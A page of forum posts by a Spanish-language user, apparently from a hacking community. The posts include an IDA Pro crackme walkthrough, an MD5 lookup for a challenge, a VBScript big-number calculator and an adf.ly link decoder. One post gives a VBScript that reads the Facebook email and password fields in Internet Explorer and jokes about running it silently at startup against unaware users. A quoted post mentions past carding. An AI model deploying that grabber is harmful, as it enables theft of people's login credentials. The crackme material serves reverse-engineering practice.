Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Flamer

#21
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Efectivamente, me gustó y mucho.

El auditorio de la Comunidad, tiene muchísima gente joven que da sus pasos iniciales y la forma que resolviste el crackme, con una detallada explicación paso a paso, seguramente será de gran utilidad para los que se sumen a este tipo de retos. Una forma amena, entretenida y didáctica de aprender!

Gracias por compartirlo.
+karma.

Saludos

Gabriela

Meda gusto que te halla gustado, mucha gente me dice que explico bien cada detalle a pesar de mi ortografía y otras me piden vídeos pero les pido paciencia ya que a veces esto de hacer tutoriales es cansado y a veces uno no tiene las ganas de hacerlos

Bueno Saludos Flamer y espero les sirva a alguien

Nota: les adelanto que el crackme 4 no creare tutorial, me brincare hasta el crackme 5 ya que el 4 se resuelve igual
#22
Anteriormente había dicho que no haría tutorial de el crackme 3 de EnigmaGroup pero como trato de aprender IDA are una excepción y resolveré el crackme con IDA-Pro.

bueno si no tienen el crackme lo pueden descargar desde su pagina oficial esta:

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

ahora ya que descargaron el crackme pasaremos abrirlo con IDA, pero una cosa muy importante antes de intentar crackear un programa con IDA deben de saber si el programa o crackme es de 32 o 64 bits.

una solución para saber si el crackme es de 32 o 64 bit es abrirlo con el RDG Detector, así que ami al abrirlo con el me sale la siguiente imagen



y como ven donde esta marcado de rojo dice que es de 32 bits, asi que al abrirlo con IDA lo abriremos con IDA 32 bits que es esta.



para los que no saben IDA te instala 2 versiones por eso es muy importante saber que versión es el programa que queremos reversear.

A continuación nos aparecerá una pantalla la cual daremos clic en New



acto seguido ubicaremos el crackme 3 de enigma group, el cual yo lo tengo en la carpeta descargas



después damos clic en abrir y se abrirá la siguiente ventana donde seleccionamos la primera opción y damos clic en OK



bueno ya con esto tendremos el crackme abierto y listo para crackear así que primero buscaremos en las apis que utiliza el crackme para comparar los seriales y para eso nos iremos ala pestaña Imports y nos muestra lo siguiente



Como ven utiliza la misma api que en los crackmes anteriores.

bueno una cosa muy importante no se asusten ya que IDA es mas extenso y laborioso que ollydbg, ya que tiene mas instrucciones pero poco a poco iremos aprendiendo ya que yo todavía no lo domino y una de las cosas que extraño de el ollydbg que no distingo las instrucciones de otras ya que en el desensamblado que mas adelante les presentare, todas las instrucciones tienen el mismo color y no se distinguen a simple vista tengo que seleccionarlas y para eso ando fijando mucho la vista en fin ojala en versiones futuras mejoren eso.

ahora para no andar buscando en el desensamblado la api  __vbaVarTstEq haremos lo siguiente, nos iremos a la pestaña IDA View-A  que es la que nos muestra el desensamblado del programa



y como verán es muy distinto a el ollydbg pero como dije no se asusten que todo tiene remedio, bueno ya que estamos aqui nos iremos al icono siguiente



también pueden dar clic en la pestaña Search y buscar la opción Text la cual tiene el mismo icono que seleccionamos.

a continuación muestra la siguiente ventana



y escribimos el nombre de la api que deseamos encontrar y marcamos las mismas instrucciones y al ultimo presionamos OK

después de esto se abrirá una nueva pestaña donde nos muestra las direcciones donde se utiliza dicha api, así que yo ubique el call donde se hacen las comparaciones de las cadenas el cual para eso fui analizando cada resultado que me dio la búsqueda y es este



para irnos a esa dirección solo damos clic sobre el y nos redirige hasta esta ubicación



Asi que ya tenemos ubicado donde compara las string, asi que para eso pondremos un break-point y tracearemos con F7 igual que ollydbg y para eso solo damos clic al circulo azul de esa linea hasta que se haga rojo y nos marque la linea asi



y ahora pasaremos a ejecutar la aplicación con F9 y si les aparece la siguiente ventana seleccionamos la siguiente opción



Damos OK y por ultimo volvemos a presionar F9

Ahora si nos aparece la ventana del crackme y así que ingresaremos la contraseña que sea, yo ingresare "123456" y presionamos el botón submit



al presionar el botón el programa se detiene justo en el break-point que pusimos este



ahora presionaremos F7 para ingresar en el CALL e ir revisando la pila o stack

Nota: para ir revisando que es lo que se encuentra en el stack iremos dando clic sobre las instrucciones que digan Debug como estas



y el contenido es mostrado en la sección del DUMP

Bueno asi que al tracear con F7 e llegado a la siguiente sección



y al pararme en esta linea reviso el stack o pila y veo que me muestra lo siguiente



y presiono sobre la primera y me muestra lo siguiente en el Dump



ahora presiono la segunda



y guala la clave es "Debug54321" y al ingresar esa clave en el crackme me muestra lo siguiente



Bueno eso es todo amigos espero les haya gustado

Saludos Flamer
#23
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Mi meta es robar al rico para ayudar al pobre. Me gusta sacar ganancias y ayudar al que no tiene conocimiento. Antes cardeaba para darle de comer a los indigentes del barrio. Ahora mi objetivo es enseñar a la gente a que todos pueden ser víctimas del delito informático, así pueden cuidarse, cuidar sus redes y sus pertenencias.

Y por supuesto un día sin aprender algo es un día perdido

bien aventurados el que ayuda al pobre por que de ellos no pasará necesidad, pero el que cierra sus ojos tendrá muchas maldiciones
+1

saludos Flamer y yo igual
#24
Underc0de / Re:Desafío #1 - Viernes Negro
Enero 13, 2017, 08:00:32 PM
Mejor por que no nos dices en donde esta y mejor batallamos para descifrarla

Saludos Flamer
#25
Hola binar1io si separamos la cadena con espacios quedaria asi

Código: text

61 66 36 62 66 62 61 64 64 64 64 63 65 65 36 39 34 66 39 33 30 31 66 30 62 62 37 33 64 63 36 32


y si visitamos una web como esta No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

y convertimos la cadena anteriror hexadecimal a ascii nos arroja esto

Código: text

af6bfbaddddcee694f9301f0bb73dc62


lo cual es un hash MD5 y ahora visitamos esta pagina para decifrarla  No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

y nos arroja la clave que es esta

Código: text
tooradmin


y puedes comprovar codificando la palabra "tooradmin" a MD5 y te arroja el hash "af6bfbaddddcee694f9301f0bb73dc62"

te dejo esta web No tienes permitido ver enlaces. Registrate o Entra a tu cuenta


Saludos Flamer


#26
Otros lenguajes Scripting / [Aporte] Super Calculadora
Diciembre 31, 2016, 04:45:48 PM
Ahora vengo con otro código una calculadora en Vbscript de numeros grandes
la idea me surgio al ver esta pagina: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Pero en algunas operaciones observe que no daba el resultado correcto así que hice la mía mejor.

Nota: si ponen muy grandes tardara en hacer la operación

Aquí el code

Código
Código: vb
Option Explicit

Dim num1, num2, n, m, x, op, r,v

num2 = inputbox("Introduce El Primer Numero")'"123654789"
num1 = inputbox("Introduce Segundo Numero")'"147852369"

ReDim n(Len(num1)), m(Len(num2))

For x = 1 To Len(num1)
   n(x) = CInt(Mid(num1, x, 1))
Next

For x = 1 To Len(num2)
   m(x) = CInt(Mid(num2, x, 1))
Next

op = InputBox("1- Sumar" & vbCrLf & "2- Restar" & vbCrLf & "3- Multiplicar" & vbCrLf & "4- Dividir")

Select Case op
   Case "1"
      r = sumar(n, m)
   Case "2"
      r = RestaroDividir(n, m, op)
   Case "3"
      v = mmi(num1,num2)
      if v = "+" then
     r = multiplicar(n,m)
  elseif v = "-" then
         r = multiplicar(m, n)
      else
     r = multiplicar(n, m)
  end if     
   Case "4"
      r = RestaroDividir(n, m, op)
End Select
MsgBox r
r = Replace(r, " ", "")

Function Dividir(n, m)
On Error Resume Next
   Dim num1, num2, pf, d, x, s, j, r, mk

   num1 = Replace(Join(n), " ", "")
   num2 = Replace(Join(m), " ", "")

   pf = UBound(m)

   d = Mid(num1, 1, pf)

   While pf <= UBound(n)  'pf

      Select Case mmi(d, num2)
         Case "+"
            x = "0"
            s = "0"
            ReDim md(Len(d))
            For j = 1 To Len(d)
               md(j) = Mid(d, j, 1)
            Next
            While mmi(s, d) = "-"
               x = CStr(CDbl(x) + 1)

               ReDim mx(Len(x))
               ReDim ms(Len(num2))

               For j = 1 To Len(num2)
                  ms(j) = Mid(num2, j, 1)
               Next

               For j = 1 To Len(x)
                  mx(j) = Mid(x, j, 1)
               Next
               s = Replace(multiplicar(ms, mx), " ", "")
            Wend
            If mmi(s, d) <> "1" Then
                x = CStr(CDbl(x) - 1)
            End If

               ReDim mx(Len(x))

               For j = 1 To Len(x)
                  mx(j) = Mid(x, j, 1)
               Next

               mk = Split(multiplicar(mx, m), " ")

               d = Replace(RestaroDividir(mk, md, "2"), " ", "")
               While Mid(d, 1, 1) = "0"
                  d = Mid(d, 2, Len(d))
               Wend

               r = r & x

              pf = pf + 1
              d = d & n(pf)

         Case "-"
            r = r & "0"
            pf = pf + 1
            d = d & n(pf)
         Case "1"
            r = r & "1"
            pf = pf + 1
            d = n(pf)
      End Select
   Wend
   While Mid(r, 1, 1) = "0"
      r = Mid(r, 2, Len(r))
   Wend
   Dividir = "Caben:-" & r & "----Sobran:-" & d
End Function

Function mmi(num1, num2)
   Dim x, r

   While Mid(num1, 1, 1) = "0"
      num1 = Mid(num1, 2, Len(num1))
   Wend
   While Mid(num2, 1, 1) = "0"
      num2 = Mid(num2, 2, Len(num2))
   Wend

   If Len(num1) > Len(num2) Then
      r = "+"
   ElseIf Len(num1) = Len(num2) Then
      For x = 1 To Len(num1)
         If CInt(Mid(num1, x, 1)) > CInt(Mid(num2, x, 1)) Then
            r = "+"
            Exit For
         ElseIf CInt(Mid(num1, x, 1)) < CInt(Mid(num2, x, 1)) Then
            r = "-"
            Exit For
         End If
      Next
   Else
      r = "-"
   End If

   If (x - 1) = Len(num1) Then
      mmi = "1"
   Else
      mmi = r
   End If
End Function
'-------------------------------------------------------------------------------------------------------------'
Function RestaroDividir(n, m, op)
   Dim lm, ln, r, x

   ln = UBound(n)
   lm = UBound(m)

   If ln > lm Then
      r = rd(n, m, op)
   ElseIf ln < lm Then
      r = rd(m, n, op)
   Else
      For x = 1 To UBound(n)
         If n(x) > m(x) Then
             r = rd(n, m, op)
             Exit For
         ElseIf n(x) < m(x) Then
             r = rd(m, n, op)
             Exit For
         End If
      Next
   End If

   If r = "" Then
      If op = "2" Then
         RestaroDividir = "0"
      Else
         RestaroDividir = "1"
      End If
   Else
      RestaroDividir = r
   End If
End Function

Function rd(n, m, op)
   Dim ln, lm, r

   If op = "2" Then
      ln = UBound(n)
      lm = UBound(m)
      r = Restar(ln, lm, n, m)
   Else
      r = Dividir(n, m)
   End If
   rd = r
End Function
'-------------------------------------------Funcion Multiplica---------------------------------------------------'
Function multiplicar(n, m)
   Dim x, y, r, c, s

   ReDim a(UBound(m))

   For x = UBound(a) To 1 Step -1
      r = Join(n)
      s = Split(r, " ")
      For y = 2 To CInt(m(x))
         r = sumar(n, s)
         s = Split(r, " ")
      Next
      a(x) = r & c
      c = c & " 0"
   Next

   s = Split(a(1), " ")

   For x = 2 To UBound(a)
      c = Split(a(x), " ")
      r = sumar(s, c)
      s = Split(r, " ")
   Next
   multiplicar = r
End Function
'---------------------------------------------Funcion Restar-------------------------------------------------------'
Function Restar(ln, lm, n, m)
   Dim x, r, a

   For x = ln To 1 Step -1
      If lm > 0 Then
         If CInt(n(x)) >= CInt(m(lm)) Then
            r = CStr(n(x) - m(lm)) & " " & r
         Else
            r = CStr(n(x) - m(lm) + 10) & " " & r
            For a = x - 1 To 1 Step -1
               If n(a) = 0 Then
                  n(a) = 9
               Else
                  n(a) = n(a) - 1
                  Exit For
               End If
            Next
         End If
      Else
         r = CStr(n(x)) & " " & r
      End If
      lm = lm - 1
   Next
   While Mid(r, 1, 1) = "0"
         r = Mid(r, 2, Len(r))
   Wend
   Restar = Trim(r)
End Function
'-----------------------------------------Funcion Sumar--------------------------------------------------------------------'
Function sumar(n, m)
   Dim lm, ln, r

   ln = UBound(n)
   lm = UBound(m)

   If ln >= lm Then
      r = s(ln, lm, n, m)
   Else
      r = s(lm, ln, m, n)
   End If
   sumar = r
End Function

Function s(ln, lm, n, m)
   Dim a, b, x, r
   a = 0
   For x = ln To 1 Step -1
      If lm > 0 Then
         a = CInt(n(x)) + CInt(m(lm)) + a
         If a > 9 Then
            b = CStr(a)
            r = Mid(b, 2, 1) & " " & r
            a = CInt(Mid(b, 1, 1))
         Else
            r = CStr(a) & " " & r
            a = 0
         End If
      Else
         a = CInt(n(x)) + a
         If a > 9 Then
            b = CStr(a)
            r = Mid(b, 2, 1) & " " & r
            a = CInt(Mid(b, 1, 1))
         Else
            r = CStr(a) & " " & r
            a = 0
         End If
      End If
      lm = lm - 1
   Next
   If a > 0 Then
      r = CStr(a) & " " & r
   End If
   s = " " & Trim(r)
End Function





Saludos Flamer y me dicen si tiene errores para corregirlos
#27
C# - VB.NET / Re:[Aporte] Ghost Killer Adf.ly by Flamer
Diciembre 31, 2016, 02:40:33 PM
ok entendido a lo mejor tienes razón

#28
C# - VB.NET / Re:[Aporte] Ghost Killer Adf.ly by Flamer
Diciembre 30, 2016, 01:23:34 PM
No creo que tenga algo de malo que utilice objectos, no le perjudica al programa o si

y usar DownloadString solo para que se viera mas profesional y enredoso, pues yo no soy así y creo que es mas simple así que hasta un novato lo entendería y lo hice para que se viera mas simple y diferente a el de doddy ya que el usa ese comando en su Clase DH Tools.

y con lo de los errores si tienes razón estaría mejor usar try/catch pero estoy mas familiarizado con on error resume next

Saludos flamer y no soy bueno programando
#29
C# - VB.NET / [Aporte] Ghost Killer Adf.ly by Flamer
Diciembre 27, 2016, 02:04:38 PM



Proyecto:   Ghost Killer  Adf.ly

        Autor:  Flamer

Referencias: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

            Por:  Doddy

   Lenguaje:  VB:Net 2010    

Descripción: Basado en el programa de Doddy, este también decodifica los enlaces No tienes permitido ver enlaces. Registrate o Entra a tu cuenta pero con la diferencia de que este tiene un modo de trabajo invisible sin la necesidad de estar llamando al programa cada rato este a párese cuando un enlace No tienes permitido ver enlaces. Registrate o Entra a tu cuenta asido copiado al porta papeles con la decodificación ya realizada.


Código: vbnet

Public Class Form1
   Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
       Timer1.Interval = 3000
       Timer2.Interval = 1
       msg.Visible = False
   End Sub


   Function decodifica(l)
       On Error Resume Next
       Dim web As New Object
       Dim i, f, x As Integer
       Dim a, b, t, code As String

       Err.Number = 0

       web = CreateObject("Microsoft.XmlHttp")
       web.open("Get ", l, False)
       web.send()
       code = web.responseText



       i = InStr(code, "var ysmm")
       f = InStr(code, "var easyUrl") - i
       code = Mid(code, i, f)
       code = Replace(code, "var ysmm = '", "")
       code = Trim(Replace(code, "';", ""))
       a = ""
       b = ""
       If Err.Number <> 0 Then
           decodifica = "...:::Error En La Decodificacion:::..."
       Else
           For x = 1 To Len(code)
               t = (x - 1) Mod 2
               If t = 0 Then
                   a = a & Mid(code, x, 1)
               Else
                   b = Mid(code, x, 1) & b
               End If
           Next


           code = System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(a & b))
           decodifica = code.Substring(2)
       End If


   End Function

   Private Sub Button1_Click(sender As System.Object, e As System.EventArgs) Handles Button1.Click
       If url.Text <> "" Then
           If InStr(url.Text, "adf.ly") Then
               Resul.Text = decodifica(url.Text)
           Else
               MsgBox("No Es Una url De adf.ly", , "Aviso De Error")
           End If
       Else
           MsgBox("El Campo Esta Vasio", , "Aviso De Error")
       End If

   End Sub

   Private Sub Button2_Click(sender As System.Object, e As System.EventArgs) Handles Button2.Click
       Clipboard.SetData("UnicodeText", Resul.Text)
       msg.Visible = True
       Timer1.Start()
   End Sub

   Private Sub Timer1_Tick(sender As System.Object, e As System.EventArgs) Handles Timer1.Tick
       msg.Visible = False
       Timer1.Stop()
   End Sub

   Private Sub Button3_Click(sender As System.Object, e As System.EventArgs) Handles Button3.Click
       Me.Visible = False
       Timer2.Start()

   End Sub

   Private Sub Timer2_Tick(sender As System.Object, e As System.EventArgs) Handles Timer2.Tick
       Dim t As String

       t = CStr(Clipboard.GetData("UnicodeText"))

       If url.Text <> t Then
           If InStr(t, "adf.ly") Then
               url.Text = t
               Resul.Text = decodifica(t)
               If Resul.Text <> "...:::Error En La Decodificacion:::..." Then
                   Timer2.Stop()
                   Me.Visible = True
               End If
               
           End If
       End If
   End Sub

   Private Sub Button4_Click(sender As System.Object, e As System.EventArgs) Handles Button4.Click
       Resul.Text = ""
       url.Text = ""
   End Sub
End Class






descarga codigo fuente mas Exe: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
#30
Hola aquí unas de mis travesuras con vbscript que me encanta y es un código para obtener lo escrito en un campo de texto de x pagina como ejemplo puse la pagina de facebook aquí el código

Código: vb

Set objShell = CreateObject("WScript.Shell")
set IE = CreateObject("InternetExplorer.Application")

IE.Navigate "https://www.facebook.com/"
IE.visible = true
Do While IE.ReadyState < 4
Loop
while IE.LocationURL = "https://www.facebook.com/"
   u = IE.document.GetElementById("email").value
   p = IE.document.GetElementById("pass").value
wend
msgbox u & "        " & p


pueden probarlo si gustan y seria mas divertido si ejecutamos el script al iniciar la pc y si el usuario ve la ejecución de Internet explorer normal y rellena los campos  jajajaja

saludos Flamer y lastima que no se puede usar chrome en vbscript
#31
Dudas y pedidos generales / Crear una extensión punto Null
Septiembre 12, 2016, 01:05:24 AM
hola estoy tratando de crear un archivo similar a este


No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

es la foto de flamer le he borrado la extensión y lo remplace por puntos y cuando la descomprimen se crea el archivo flamer.....

y mi pregunta es como logro hacer el archivo flamer......    sin nesesidad del winrar y en un lenguaje de programación

lo intente en No tienes permitido ver enlaces. Registrate o Entra a tu cuenta y desde msdos y nada


saludos flamer
#32
Creo que puedes usar un hilo para que la ventana no se trabe y siga funcionando bien, te digo esto por que hace poco estuve realizando un programa y tuve que realizar un hilo para que la ventana siguiera funcionando


saludos Flamer y solo le pasas todo el proceso al hilo
#33
Cuanto tardaría en hacer un diccionario de longitud 8

saludos flamer y no se traba la ventana del programa
#34
Interesante

saludos flamer